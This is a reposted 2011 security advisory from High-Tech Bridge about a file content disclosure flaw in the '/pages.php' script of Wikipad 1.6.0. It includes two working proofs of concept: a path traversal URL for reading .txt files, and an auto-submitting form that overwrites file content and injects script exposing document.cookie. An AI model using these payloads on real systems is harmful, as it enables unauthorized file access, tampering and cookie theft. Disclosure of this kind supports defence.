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securityvulnsSecurityvulnsSECURITYVULNS:DOC:25731
HistoryFeb 15, 2011 - 12:00 a.m.

HTB22827: File Content Disclosure in Wikipad

2011-02-1500:00:00
vulners.com
25

Vulnerability ID: HTB22827
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_wikipad.html
Product: Wikipad
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )
Vulnerable Version: 1.6.0
Vendor Notification: 01 February 2011
Vulnerability Type: File Content Disclosure
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/pages.php" script to properly sanitize user-supplied input in "id" variable. We can disclose content of ".txt" files on file system.

The following PoC is available:
http://host/pages.php?id=./../../../../../txt_file

Also, we can change content of this file by using PoC:

<form action="http://host/pages.php?action=edit&amp;id=./../../../../../txt_file&amp;title=test&quot; method="post" name="main">
<input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'>
</form>

<script>
document.main.submit();
</script>